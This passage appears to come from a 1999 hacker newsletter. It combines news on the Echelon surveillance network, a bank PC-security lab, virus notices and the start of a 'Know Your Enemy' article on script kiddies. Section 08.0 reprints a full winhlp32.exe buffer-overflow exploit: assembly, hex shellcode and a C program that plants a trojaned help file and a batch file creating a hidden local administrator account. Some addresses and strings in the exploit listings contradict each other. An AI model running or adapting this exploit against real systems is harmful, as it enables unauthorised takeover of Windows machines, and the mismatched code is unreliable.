  1404.       DSD's purpose ``is to support Australian Government
  1405.       decision-makers and the Australian Defence Force with
  1406.       high-quality foreign signals intelligence products and services.
  1407.       DSD (provides) important information that is not available from
  1408.       open sources".
  1409.  
  1410.       Together with the giant American National Security Agency
  1411.       (NSA) and its Canadian, British, and New Zealand
  1412.       counterparts, DSD operates a network of giant, highly
  1413.       automated tracking stations that illicitly pick up commercial
  1414.       satellite communications and examine every fax, telex, e-mail,
  1415.       phone call, or computer data message that the satellites carry.
  1416.  
  1417.       The five signals intelligence agencies form the UKUSA pact.
  1418.       They are bound together by a secret agreement signed in 1947
  1419.       or 1948. Although its precise terms have never been revealed,
  1420.       the UKUSA agreement provides for sharing facilities, staff,
  1421.       methods, tasks and product between the participating
  1422.       governments. 
  1423.  
  1424.       Now, due to a fast-growing UKUSA system called Echelon,
  1425.       millions of messages are automatically intercepted every hour,
  1426.       and checked according to criteria supplied by intelligence
  1427.       agencies and governments in all five UKUSA countries. The
  1428.       intercepted signals are passed through a computer system called
  1429.       the Dictionary, which checks each new message or call against
  1430.       thousands of ``collection'' requirements. The Dictionaries then
  1431.       send the messages into the spy agencies' equivalent of the
  1432.       Internet, making them accessible all over the world. 
  1433.  
  1434.       Australia's main contribution to this system is an ultra-modern
  1435.       intelligence base at Kojarena, near Geraldton in Western
  1436.       Australia. The station was built in the early 1990s. At Kojarena,
  1437.       four satellite tracking dishes intercept Indian and Pacific Ocean
  1438.       communications satellites. The exact target of each dish is
  1439.       concealed by placing them inside golfball like ``radomes''. 
  1440.  
  1441.       About 80 per cent of the messages intercepted at Kojarena are
  1442.       sent automatically from its Dictionary computer to the CIA or
  1443.       the NSA, without ever being seen or read in Australia. Although
  1444.       it is under Australian command, the station - like its controversial
  1445.       counterpart at Pine Gap - employs American and British staff in
  1446.       key posts. 
  1447.  
  1448.       Among the ``collection requirements" that the Kojarena
  1449.       Dictionary is told to look for are North Korean economic,
  1450.       diplomatic and military messages and data, Japanese trade
  1451.       ministry plans, and Pakistani developments in nuclear weapons
  1452.       technology and testing. In return, Australia can ask for
  1453.       information collected at other Echelon stations to be sent to
  1454.       Canberra. 
  1455.  
  1456.       A second and larger, although not so technologically
  1457.       sophisticated DSD satellite station, has been built at Shoal Bay,
  1458.       Northern Territory. At Shoal Bay, nine satellite tracking dishes
  1459.       are locked into regional communications satellites, including
  1460.       systems covering Indonesia and south-west Asia. 
  1461.  
  1462.       International and governmental concern about the UKUSA
  1463.       Echelon system has grown dramatically since 1996, when New
  1464.       Zealand writer Nicky Hager revealed intimate details of how it
  1465.       operated. New Zealand runs an Echelon satellite interception
  1466.       site at Waihopai, near Blenheim, South Island. Codenamed
  1467.       ``Flintlock", the Waihopai station is half the size of Kojarena and
  1468.       its sister NSA base at Yakima, Washington, which also covers
  1469.       Pacific rim states. Waihopai's task is to monitor two Pacific
  1470.       communications satellites, and intercept all communications from
  1471.       and between the South Pacific islands. 
  1472.  
  1473.       Like other Echelon stations, the Waihopai installation is
  1474.       protected by electrified fences, intruder detectors and infra-red
  1475.       cameras. A year after publishing his book, Hager and New
  1476.       Zealand TV reporter John Campbell mounted a daring raid on
  1477.       Waihopai, carrying a TV camera and a stepladder. From open,
  1478.       high windows, they then filmed into and inside its operations
  1479.       centre. 
  1480.  
  1481.       They were astonished to see that it operated completely
  1482.       automatically. 
  1483.  
  1484.       Although Australia's DSD does not use the term ``Echelon'',
  1485.       Government sources have confirmed to Channel 9 that Hager's
  1486.       description of the system is correct, and that the Australia's
  1487.       Dictionary computer at Kojarena works in the same way as the
  1488.       one in New Zealand. 
  1489.  
  1490.       Until this year, the US Government has tried to ignore the row
  1491.       over Echelon by refusing to admit its existence. The Australian
  1492.       disclosures today make this position untenable. US intelligence
  1493.       writer Dr Jeff Richelson has also obtained documents under the
  1494.       US Freedom of Information Act, showing that a US Navy-run
  1495.       satellite receiving station at Sugar Grove, West Virginia, is an
  1496.       Echelon site, and that it collects intelligence from civilian
  1497.       satellites. 
  1498.  
  1499.       The station, south-west of Washington, lies in a remote area of
  1500.       the Shenandoah Mountains. According to the released US
  1501.       documents, the station's job is ``to maintain and operate an
  1502.       Echelon site''. Other Echelon stations are at Sabana Seca,
  1503.       Puerto Rico, Leitrim, Canada and at Morwenstow and London
  1504.       in Britain. 
  1505.  
  1506.       Information is also fed into the Echelon system from taps on the
  1507.       Internet, and by means of monitoring pods which are placed on
  1508.       undersea cables. Since 1971, the US has used specially
  1509.       converted nuclear submarines to attach tapping pods to deep
  1510.       underwater cables around the world. 
  1511.  
  1512.       The Australian Government's decision to be open about the
  1513.       UKUSA pact and the Echelon spy system has been motivated
  1514.       partly by the need to respond to the growing international
  1515.       concern about economic intelligence gathering, and partly by
  1516.       DSD's desire to reassure Australians that its domestic spying
  1517.       activity is strictly limited and tightly supervised. 
  1518.  
  1519.       According to DSD director Martin Brady, ``to ensure that (our)
  1520.       activities do not impinge on the privacy of Australians, DSD
  1521.       operates under a detailed classified directive approved by
  1522.       Cabinet and known as the Rules on Sigint and Australian
  1523.       Persons". 
  1524.  
  1525.       Compliance with this Cabinet directive is monitored by the
  1526.       inspector-general of security and intelligence, Mr Bill Blick. He
  1527.       says that ``Australian citizens can complain to my office about
  1528.       the actions of DSD. And if they do so then I have the right to
  1529.       conduct an inquiry." 
  1530.  
  1531.       But the Cabinet has ruled that Australians' international calls,
  1532.       faxes or e-mails can be monitored by NSA or DSD in specified
  1533.       circumstances. These include ``the commission of a serious
  1534.       criminal offence; a threat to the life or safety of an Australian; or
  1535.       where an Australian is acting as the agent of a foreign power".
  1536.       Mr Brady says that he must be given specific approval in every
  1537.       case. But deliberate interception of domestic calls in Australia
  1538.       should be left to the police or ASIO. 
  1539.  
  1540.       Mr Brady claims that other UKUSA nations have to follow
  1541.       Australia's lead, and not record their communications unless
  1542.       Australia has decided that this is required. ``Both DSD and its
  1543.       counterparts operate internal procedures to satisfy themselves
  1544.       that their national interests and policies are respected by the
  1545.       others," he says. 
  1546.  
  1547.       So if NSA happens to intercept a message from an Australian
  1548.       citizen or company whom DSD has decided to leave alone, they
  1549.       are supposed to strike out the name and insert ``Australian
  1550.       national'' or ``Australian corporation'' instead. Or they must
  1551.       destroy the intercept. 
  1552.  
  1553.       That's the theory, but specialists differ. According to Mr Hager,
  1554.       junior members of UKUSA just can't say ``no''. ``... When
  1555.       you're a junior ally like Australia or New Zealand, you never
  1556.       refuse what they ask for.'' 
  1557.  
  1558.       There are also worries about what allies might get up to with
  1559.       information that Australia gives them. When Britain was trying to
  1560.       see through its highly controversial deal to sell Hawk fighters and
  1561.       other arms to Indonesia, staff at the Office of National
  1562.       Assessments feared that the British would pass DSD intelligence
  1563.       on East Timor to President Soeharto in order to win the lucrative
  1564.       contract. 
  1565.  
  1566.       The Australian Government does not deny that DSD and its
  1567.       UKUSA partners are told to collect economic and commercial
  1568.       intelligence. Australia, like the US, thinks this is especially
  1569.       justified if other countries or their exporters are perceived to be
  1570.       behaving unfairly. Britain recognises no restraint on economic
  1571.       intelligence gathering. Neither does France. 
  1572.  
  1573.       According to the former Canadian agent Mike Frost, it would
  1574.       be ``nave" for Australians to think that the Americans were not
  1575.       exploiting stations like Kojarena for economic intelligence
  1576.       purposes. ``They have been doing it for years," he says. ``Now
  1577.       that the Cold War is over, the focus is towards economic
  1578.       intelligence. Never ever over-exaggerate the power that these
  1579.       organisations have to abuse a system such as Echelon. Don't
  1580.       think it can't happen in Australia. It does.'' 
  1581.  
  1582.       @HWA                   
  1583.       
  1584.  06.0 Banks to Test Home User PC Security 
  1585.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1586.          
  1587.       from HNN http://www.hackernews.com/   
  1588.      
  1589.       contributed by Weld Pond 
  1590.       Worried that consumers PCs may be vulnerable to
  1591.       attack a consortium of the 15 largest US banks plan to
  1592.       open a lab to test PC Hardware and software. The
  1593.       Banking Industry Technology Secretariat, plan to open
  1594.       the lab this summer. (Its about time they started
  1595.       looking into this. Applications like Back Orifice have been
  1596.       around for what? over a year now? Sounds like someone
  1597.       is just covering their ass.) 
  1598.  
  1599.       C|Net     
  1600.       http://www.news.com/News/Item/0,4,0-36923,00.html?st.ne.ni.lh
  1601.       
  1602.       Big banks move on Net security 
  1603.       By Tim Clark
  1604.       Staff Writer, CNET News.com
  1605.       May 21, 1999, 1:00 p.m. PT 
  1606.  
  1607.       Worried that problems on home computers may make Internet banking insecure, a
  1608.       group of major U.S. banks is expected to unveil a plan this summer to open a lab
  1609.       to test the security of Web browsers and PC hardware and software. 
  1610.  
  1611.       "The banks feel that firewalls and what they have internally is in great shape, but the link is
  1612.       to the consumer and PC environments [where they find security more suspect]," said
  1613.       Catherine Allen, chief executive of the Banking Industry Technology Secretariat, a division
  1614.       of Bankers Roundtable. 
  1615.  
  1616.       BITS is governed by a board of CEOs of the 15 largest U.S. banks, including familiar
  1617.       names like Citibank, Chase Manhattan, Mellon Bank, Wells Fargo, and Bank of America.
  1618.       Edward Crutchfield, First Union chief executive, chairs BITS, a two-year-old group that
  1619.       focuses on technology issues affecting the U.S. banking system. 
  1620.  
  1621.       The BITS Security/Technology Lab, to be run by a new banking-oriented division of
  1622.       government contractor SAIC, is due to be announced in late June or early July, with vice
  1623.       president Al Gore and former U.S. Sen. Sam Nunn invited to speak. A July meeting is
  1624.       planned in the San Francisco area to explain the program to hardware and software
  1625.       vendors. 
  1626.  
  1627.       Security experts from major banks are currently drafting the testing criteria. In addition, the
  1628.       lab oversight group is working with the President's Commission on Critical Infrastructure
  1629.       Protection on ways to protect the nation's financial infrastructure from attacks by terrorist
  1630.       or organized criminal groups. President Clinton formed that group a year ago after a report
  1631.       on threats from cyber-terrorists. 
  1632.  
  1633.       The effort also will involve information sharing among banks to ward off organized attacks,
  1634.       including use of neural networking and other technologies to detect and predict patterns of
  1635.       attacks. 
  1636.  
  1637.       "If it's a terrorist or major criminal activity, we think it will happen in multiple places," Allen
  1638.       said. "They won't hit just one bank but many." Security planners worry that assaults could
  1639.       be mounted near the end of this year, when attackers hope banks might be distracted by
  1640.       the Y2K turnover. 
  1641.  
  1642.       The testing of consumer devices and software will be coupled with educational campaigns
  1643.       urging users to utilize antivirus software and take other precautions to avoid security
  1644.       problems. 
  1645.  
  1646.       Systems that pass the tests can use a special logo in their marketing to signify the
  1647.       products have been deemed safe by BITS. Also to be tested are systems to conduct
  1648.       financial transactions, including personal financial software, online billing and bill-paying
  1649.       packages, and smart cards. 
  1650.  
  1651.       "Vendors want this as much as we do," Allen contended, saying that today vendors may
  1652.       get multiple requests from different banks to make specific changes for that bank's use.
  1653.       Funneling through the BITS lab would simplify that process. 
  1654.  
  1655.       The effort comes as financial institutions are beginning to use the Internet for online
  1656.       banking, stock trading, and other transactions. In the past, online consumer transactions
  1657.       have been routed over private networks that banks regard as more secure. But the
  1658.       explosion of the Internet, which is not such a controlled or secure environment, has
  1659.       bankers looking for safety. 
  1660.  
  1661.       Another reflection of that concern has been the efforts by Visa and MasterCard, on the
  1662.       behalf of their bank-owners, to push the Secure Electronic Transactions (SET) protocol for
  1663.       Internet credit card purchases. Although SET has not been widely adopted in the U.S., the
  1664.       prolonged push to implement it mirrors bankers' worries about their reputation as trusted
  1665.       institutions. 
  1666.  
  1667.       But there's a financial implication too. Banks are heavily regulated, and they are required to
  1668.       reimburse their customers for any losses suffered because of security breaches in online
  1669.       financial transactions. As online banking grows, that could become a big liability. 
  1670.        
  1671.  
  1672.       @HWA
  1673.       
  1674.  07.0 EMPEROR VIRUS
  1675.       ~~~~~~~~~~~~~
  1676.       
  1677.       From http://www.net-security.org/
  1678.       
  1679.       by BHZ, Tuesday 25th May 1999 on 4.46 pm CET
  1680.       AVP announced new clone of the Cheronobyl virus named Emperor. The Emperor
  1681.       virus has additional technology to infect more systems by copying itself to more
  1682.       areas of the computer and has the possibility to travel further. It infects DOS (16-bit)
  1683.       COM and EXE programs and overwrites the Master Boot Record of the hard drive and
  1684.       boot sector on floppy diskettes. 
  1685.       
  1686.  08.0 WINHLP32.EXE BUFFER OVERRUN
  1687.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1688.       
  1689.       From http://www.net-security.org/
  1690.             
  1691.       by BHZ, Tuesday 25th May 1999 on 1.01 am CET
  1692.       David Litchfield aka Mnemonix wrote an advisory on winhlp32.exe buffer overrun. "The
  1693.       buffer overrun in winhlp32.exe occurs when it attempts to read a cnt file with an overly
  1694.       long heading string. If the string is longer than 507 bytes the buffer overrun does not
  1695.       occur - winhlp32 just truncates the entry." Read the advisory below.
  1696.          
  1697.       Analysis of the winhlp32.exe buffer overrun.
  1698.  
  1699.       The buffer overrun in winhlp32.exe occurs when it attempts to read a cnt
  1700.       file with an overly long heading string. If the string is longer than 507
  1701.       bytes the buffer overrun does not occur - winhlp32 just truncates the entry.
  1702.       The return address is overwritten with bytes 357, 358, 359 and 360.
  1703.       Everything before these bytes is lost giving us bytes 361 to 507 to play
  1704.       with - a total of 147 bytes for our exploit code. On playing around with the
  1705.       overrun we find we lose about another 20 of these bytes giving us only 127
  1706.       bytes to play with - not a lot really.
  1707.       
  1708.       On overruning the buffer and analysing the contents of memory and the CPU's
  1709.       registers with a debugger we find that byte 361 is found at 0x0012F0E4. This
  1710.       is the address we need to get the processor to go to to get its next
  1711.       instruction - but this address has a NULL in it which totally messes things
  1712.       up. However, looking at the registers we can see that the ESP, the Stack
  1713.       Pointer, holds this address so if we can find somewhere in memory that does
  1714.       a JMP ESP, and set the return address to this then we should be able to get
  1715.       back to the address where we'll place our exploit code. Looking at the DLLs
  1716.       that winhlp32.exe uses we find that kernel32.dll has the JMP ESP instruction
  1717.       at 0x77F327E5 (Service Pack 4's version of kernel32.lib - I think it's at
  1718.       0x77F327D5 on Service Pack 3's kernel32.dll).
  1719.       
  1720.       So we put 0x77F327E5 into bytes 357 to 360 but we have to load it in
  1721.       backwards so byte 357 we'll set to 0xE5, byte 358 to 0x27, byte 359 to 0xF3
  1722.       and byte 360 to 0x77.
  1723.       
  1724.       Now we've jumped back to our exploit code we have to decide what we wan to
  1725.       put in it. Because we only have 127 bytes to do anything meaningful we need
  1726.       to start another program - the best thing is to get it to run a batch file.
  1727.       This means calling the system ( ) function which is exported by msvcrt.dll
  1728.       which isn't loaded into the address space of winhlp32.exe - so we'll have to
  1729.       load it. How do we do this? We have to call LoadLibrary ( ) which is
  1730.       exported by kernel32.dll which is in the address space. LoadLibraryA ( ) is
  1731.       exported at address 0x77F1381A so all we need to do is have the string
  1732.       "msvcrt.dll" in memory somewhere and call 0x77F1381A with a reference to the
  1733.       pointer to the null terminated "msvcrt.dll" string. Because it has to be
  1734.       null terminated we'll get our code to write it into memory. Once this is
  1735.       done we'll place the address of LoadLibraryA ( ) onto the stack then place
  1736.       the address of the pointer to "msvcrt.dll" and finally call LoadLibraryA ( )
  1737.       using an offset from the EBP. The following is the Assembly Code needed to
  1738.       do this:
  1739.       
  1740.          /*First the procedure prologue */
  1741.          push ebp
  1742.          mov ebp,esp
  1743.       
  1744.          /*Now we need some zeroes */
  1745.          xor eax,eax
  1746.       
  1747.          /* and then  push then onto the stack */
  1748.          push eax
  1749.          push eax
  1750.          push eax
  1751.       
  1752.          /* Now we write MSVCRT.DLL into the stack */
  1753.          mov byte ptr[ebp-0Ch],4Dh
  1754.          mov byte ptr[ebp-0Bh],53h
  1755.          mov byte ptr[ebp-0Ah],56h
  1756.          mov byte ptr[ebp-09h],43h
  1757.          mov byte ptr[ebp-08h],52h
  1758.          mov byte ptr[ebp-07h],54h
  1759.          mov byte ptr[ebp-06h],2Eh
  1760.          mov byte ptr[ebp-05h],44h
  1761.          mov byte ptr[ebp-04h],4Ch
  1762.          mov byte ptr[ebp-03h],4Ch
  1763.       
  1764.          /* move the address of LoadLibraryA ( ) into the edx register */
  1765.          mov edx,0x77F1381A
  1766.       
  1767.          /* and then push it onto the stack */
  1768.          push edx
  1769.       
  1770.          /* Then we load the address where the msvcrt.dll string can be found */
  1771.          lea eax,[ebp-0Ch]
  1772.       
  1773.          /* and push it onto the stack */
  1774.          push eax
  1775.       
  1776.          /* Finally we call LoadLibraryA( )
  1777.          call dword ptr[ebp-10h]
  1778.       
  1779.       All things going well we should have now loaded msvcrt.dll into the address
  1780.       space of winhlp32.exe. With this in place we now need to call system() and
  1781.       provide the name of a batch file to it as an argument. We don't have enough
  1782.       bytes to play with to call GetProcessAddress ( ) and do the rest of the
  1783.       things we have to do like clean up so we check what version of msvcrt.dll we
  1784.       have before writing the code and see where system ( ) is exported at. On a
  1785.       standard install of Windows NT this will normally be version 4.20.6201 with
  1786.       system () exported at 0x7801E1E1. We'll call the batch file ADD.bat but to
  1787.       save room we won't give it an extention. The system ( ) function will try
  1788.       the default executable extentions like.exe, .com and .bat and find it for us
  1789.       then run it. Once it has run it the cmd.exe process system( ) has launched
  1790.       will exit.
  1791.       
  1792.       So we need to have the null terminated string "ADD" in memory and  the
  1793.       address of system ( ). Below is the code that will write "ADD" onto the
  1794.       stack and then call system( )
  1795.       
  1796.          /*First the procedure prologue */
  1797.          push ebp
  1798.          mov ebp,esp
  1799.       
  1800.          /* We need some NULL and then push them onto the stack */
  1801.          xor edi,edi
  1802.          push edi
  1803.       
  1804.          /* Now we write ADD onto the stack */
  1805.          mov byte ptr [ebp-04h],41h
  1806.          mov byte ptr [ebp-03h],44h
  1807.          mov byte ptr [ebp-02h],44h
  1808.       
  1809.          /* Place address of system ( ) into eax and push it onto the stack */
  1810.          mov eax, 0x7801E1E1
  1811.          push eax
  1812.       
  1813.          /* Now load eax with address of ADD and push this too */
  1814.          lea eax,[ebp-04h]
  1815.          push eax
  1816.       
  1817.          / * Then we call system ( ) */
  1818.          call dword ptr [ebp-08h]
  1819.       
  1820.       Once the batch file has been run the Command Interpreter will exit and if we
  1821.       don't clean up after ourselves winhlp32.exe will access violate so we need
  1822.       to call exit (0) to keep it quiet. exit ( ) is also exported by msvcrt.dll
  1823.       at address 0x78005BBA - which has a null in it. It's not a major problem -
  1824.       we can fill a register with 0xFFFFFFFF and subtract 0x87FFA445 from it. The
  1825.       following code calls exit (0)
  1826.       
  1827.       
  1828.          /* Procedure prologue */
  1829.          push ebp
  1830.          mov ebp,esp
  1831.       
  1832.          /* Round about way of getting address of exit () into edx */
  1833.          mov edx,0xFFFFFFFF
  1834.          sub edx,0x87FFAF65
  1835.       
  1836.          /* Push this address onto the stack */
  1837.          push edx
  1838.       
  1839.          /* Get some nulls - this is our exit code - and push them too */
  1840.          xor eax,eax
  1841.          push eax
  1842.       
  1843.          /* then call exit()! */
  1844.          call dword ptr[ebp-04h]
  1845.       
  1846.       Altogether our code looks like this:
  1847.       
  1848.          push ebp
  1849.          mov ebp,esp
  1850.          xor eax,eax
  1851.          push eax
  1852.          push eax
  1853.          push eax
  1854.          mov byte ptr[ebp-0Ch],4Dh
  1855.          mov byte ptr[ebp-0Bh],53h
  1856.          mov byte ptr[ebp-0Ah],56h
  1857.          mov byte ptr[ebp-09h],43h
  1858.          mov byte ptr[ebp-08h],52h
  1859.          mov byte ptr[ebp-07h],54h
  1860.          mov byte ptr[ebp-06h],2Eh
  1861.          mov byte ptr[ebp-05h],44h
  1862.          mov byte ptr[ebp-04h],4Ch
  1863.          mov byte ptr[ebp-03h],4Ch
  1864.          mov edx,0x77F1381A
  1865.          push edx
  1866.          lea eax,[ebp-0Ch]
  1867.          push eax
  1868.          call dword ptr[ebp-10h]
  1869.          push ebp
  1870.          mov ebp,esp
  1871.          xor edi,edi
  1872.          push edi
  1873.          mov byte ptr [ebp-04h],43h
  1874.          mov byte ptr [ebp-03h],4Dh
  1875.          mov byte ptr [ebp-02h],44h
  1876.          mov eax, 0x7801E1E1
  1877.          push eax
  1878.          lea eax,[ebp-04h]
  1879.          push eax
  1880.          call dword ptr [ebp-08h]
  1881.          push ebp
  1882.          mov ebp,esp
  1883.          mov edx,0xFFFFFFFF
  1884.          sub edx,0x87FFA445
  1885.          push edx
  1886.          xor eax,eax
  1887.          push eax
  1888.          call dword ptr[ebp-04h]
  1889.       
  1890.       Now we need the operayion codes (opcodes) for all this which we do by
  1891.       writing a program that uses the __asm function and then debug it. This is
  1892.       what we actually load into our exploit code.
  1893.       
  1894.       Following is the source of a program that will create a "trojaned"
  1895.       wordpad.cnt. It will also create a batch file called add.bat - edit it as
  1896.       you see fit. I have compiled the program - you can get a copy of it from
  1897.       
  1898.       http://www.infowar.co.uk/mnemonix/winhlpadd.exe
  1899.       
  1900.       Note that this will run only on standard installs of NT with service pack 4
  1901.       and expects an msvcrt.dll version of 4.20.6201 - run it from the winnt\help
  1902.       directory.
  1903.       
  1904.       Cheers,
  1905.       David Litchfield
  1906.       http://www.infowar.co.uk/mnemonix
  1907.       http://www.arca.com
  1908.       
  1909.       
  1910.       
  1911.       #include 
  1912.       #include 
  1913.       #include 
  1914.       
  1915.       int main(void)
  1916.       {
  1917.       char eip[5]="\xE5\x27\xF3\x77";
  1918.       char
  1919.       ExploitCode[200]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
  1920.       90\x90\x90\x90\x90\x90\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x
  1921.       45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\x
  1922.       C6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x1A\x38\x
  1923.       F1\x77\x52\x8D\x45\xF4\x50\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x
  1924.       41\xC6\x45\xFD\x44\xC6\x45\xFE\x44\xB8\xE1\xE1\xA0\x77\x50\x8D\x45\xFC\x50\x
  1925.       FF\x55\xF8\x55\x8B\xEC\xBA\xBA\x5B\x9F\x77\x52\x33\xC0\x50\xFF\x55\xFC";
  1926.       
  1927.       FILE *fd;
  1928.       printf("\n\n*******************************************************\n");
  1929.       printf("* WINHLPADD exploits a buffer overrun in Winhlp32.exe *\n");
  1930.       printf("*   This version runs on Service Pack 4 machines and  *\n");
  1931.       printf("*       assumes a msvcrt.dll version of 4.00.6201     *\n");
  1932.       printf("*                                                     *\n");
  1933.       printf("* (C) David Litchfield (mnemonix@globalnet.co.uk) '99 *\n");
  1934.       printf("*******************************************************\n\n");
  1935.       
  1936.       fd = fopen("wordpad.cnt", "r");
  1937.       if (fd==NULL)
  1938.         {
  1939.          printf("\n\nWordpad.cnt not found or insufficient rights to access
  1940.       it.\nRun this from the WINNT\\HELP directory");
  1941.          return 0;
  1942.         }
  1943.       fclose(fd);
  1944.       printf("\nMaking a copy of real wordpad.cnt - wordpad.sav\n");
  1945.       system("copy wordpad.cnt wordpad.sav");
  1946.       printf("\n\nCreating wordpad.cnt with exploit code...");
  1947.       fd = fopen("wordpad.cnt", "w+");
  1948.       if (fd==NULL)
  1949.         {
  1950.          printf("Failed to open wordpad.cnt in write mode. Check you have
  1951.       sufficent rights\n");
  1952.          return 0;
  1953.         }
  1954.       fprintf(fd,"1
  1955.       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  1956.       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  1957.       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  1958.       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  1959.       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%s%s\n",eip,ExploitCode)
  1960.       ;
  1961.       fprintf(fd,"2 Opening a document=WRIPAD_OPEN_DOC\n");
  1962.       fclose(fd);
  1963.       printf("\nCreating batch file add.bat\n\n");
  1964.       fd = fopen("add.bat", "w");
  1965.       if (fd == NULL)
  1966.         {
  1967.          printf("Couldn't create batch file. Manually create one instead");
  1968.          return 0;
  1969.         }
  1970.       printf("The batch file will attempt to create a user account called
  1971.       \"winhlp\" and\n");
  1972.       printf("with a password of \"winhlp!!\" and add it to the Local
  1973.       Administrators group.\n");
  1974.       printf("Once this is done it will reset the files and delete itself.\n");
  1975.       fprintf(fd,"net user winhlp winhlp!! /add\n");
  1976.       fprintf(fd,"net localgroup administrators winhlp /add\n");
  1977.       fprintf(fd,"del wordpad.cnt\ncopy wordpad.sav wordpad.cnt\n");
  1978.       fprintf(fd,"del wordpad.sav\n");
  1979.       fprintf(fd,"del add.bat\n");
  1980.       fclose(fd);
  1981.       printf("\nBatch file created.");
  1982.       printf("\n\nCreated. Now open up Wordpad and click on Help\n");
  1983.       
  1984.       return 0;
  1985.       
  1986.       
  1987.       }   
  1988.          
  1989.       @HWA   
  1990.                                             
  1991.  09.0 NAI ON GALADRIEL VIRUS
  1992.       ~~~~~~~~~~~~~~~~~~~~~~
  1993.       
  1994.       From http://www.net-security.org/
  1995.       
  1996.       by BHZ, Saturday 22nd May 1999 on 12.18 pm CET
  1997.       Couple of days ago we wrote about Galadriel virus. This virus infects files with the
  1998.       CSC extension when an infected script is run from under CorelDraw and Corel Photo
  1999.       Paint 7, 8 and 9. A user is likely to notice the presence of the virus because many
  2000.       scripts stop executing properly when infected and a CorelDraw error message will
  2001.       occur. The CSC/CSV.A virus does not work under the WordPerfect suite as this suite
  2002.       uses a different language than the Corel script. NAI categorized this virus as Low risk,
  2003.       and you could update your VirusScan with these patches: VirusScan 3 & VirusScan 4.0
  2004.       
  2005.       @HWA
  2006.       
  2007.  10.0 Know your enemy parts 1,2 and 3
  2008.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  2009.       
  2010.       Part 1
  2011.       
  2012.       The Attack of the Script Kiddie 
  2013.       Know Your Enemy 
  2014.       
  2015.       Lance Spitzner 
  2016.       Last Modified: May 23, 1999 
  2017.       
  2018.       My commander used to tell me that to secure yourself against the enemy, you have to first know who your enemy
  2019.       is. This military doctrine readily applies to the world of network security. Just like the military, you have resources
  2020.       that you are trying to protect. To help protect these resources, you need to know who your threat is and how they
  2021.       are going to attack. This article does just that, it discusses the methodology and tools used by one of the most
  2022.       common and universal threats, the Script Kiddie. 
  2023.       
  2024.       Who is the Script Kiddie 
  2025.       
  2026.       The script kiddie is someone looking for the easy kill. They are not out for specific information or targeting a specific company.
  2027.       Their goal is to gain root the easiest way possible. They do this by focusing on a small number of exploits, and then searching
  2028.       the entire Internet for that exploit. Sooner or later they find someone vulnerable. 
  2029.       
  2030.       Some of them are advance users who develop their own tools and leave behind sophisticated backdoors. Others have no idea
  2031.       what they are doing and only know how to type "go" at the command prompt. Regardless of the their skill level, they all share a
  2032.       common strategy, randomly search for a specific weakness, then exploit that weakness. 
  2033.       
  2034.       The Threat 
  2035.       
  2036.       It is this random selection of targets that make the script kiddie such a dangerous threat. Sooner or later your systems and
  2037.       networks will be probed, you cannot hide from them. I know of admins who were amazed to have their systems scanned when
  2038.       they had been up for only two days, and no one knew about them. There is nothing amazing here. Most likely, their systems
  2039.       were scanned by a script kiddie who happened to be sweeping that network block. 
  2040.       
  2041.       If this was limited to several individual scans, statistics would be in your favor. With millions of systems on the Internet, odds
  2042.       are that no one would find you. However, this is not the case. Most of these tools are easy to use and widely distributed,
  2043.       anyone can use them. A rapidly growing number of people are obtaining these tools at an alarming rate. As the Internet knows
  2044.       no geographic bounds, this threat has quickly spread throughout the world. Suddenly, the law of numbers is turning against us.
  2045.       With so many users on the Internet using these tools, it is no longer a question of if, but when you will be probed. 
  2046.       
  2047.       This is an excellent example of why security through obscurity can fail you. You may believe that if no one knows about your
  2048.       systems, you are secure. Others believe that their systems are of no value, so why would anyone probe them? It is these very
  2049.       systems that the script kiddies are searching for, the unprotected system that is easy to exploit, the easy kill. 
  2050.       
  2051.       The Methodology 
  2052.       
  2053.       The script kiddie methodology is a simple one. Scan the Internet for a specific weakness, when you find it, exploit it. Most of
  2054.       the tools they use are automated, requiring little interaction. You launch the tool, then come back several days later to get your
  2055.       results.  No two tools are alike, just as no two exploits are alike. However, most of the tools use the same strategy. First,
  2056.       develop a database of IPs that can be scanned. Then, scan those IPs for a specific vulnerability. 
  2057.       
  2058.       For example, lets say a user had a tool that could exploit imap on Linux systems, such as imapd_exploit.c. First, they would
  2059.       develop a database of IP addresses that they could scan (i.e., systems that are up and reachable). Once this database of IP
  2060.       addresses is built, the user would want to determine which systems were running Linux. Many scanners today can easily
  2061.       determine this by sending bad packets to a system and seeing how they respond, such as Fyodor's nmap. Then, tools would be
  2062.       used to determine what Linux systems were running imap. All that is left now is to exploit those vulnerable systems. 
  2063.       
  2064.       You would think that all this scanning would be extremely noisy, attracting a great deal of attention. However, many people are
  2065.       not monitoring there systems, and do not realize they are being scanned. Also, many script kiddies quietly look for a single
  2066.       system they can exploit. Once they have exploited a system, they now use this systems as a launching pad. They can boldly
  2067.       scan the entire Internet without fear of retribution. If their scans are detected, the system admin and not the blackhat will be held
  2068.       liable. 
  2069.       
  2070.       Also, these scan results are often archived or shared among other users, then used at a later date.  For example, a user
  2071.       develops a database of what ports are open on reachable Linux systems.  The user built this database to exploit the current
  2072.       imap vulnerability.  However, lets say that a month from now a new Linux exploit is identified on a different port.  Instead of
  2073.       having to build a new database (which is the most time consuming part), the user can quickly review his archived database and
  2074.       compromise the vulnerable systems.  As an alternative, script kiddies share or even buy databases of vulnerable systems from
  2075.       each other.  The script kiddie can then exploit your system without even scanning it.  Just because your systems have not been
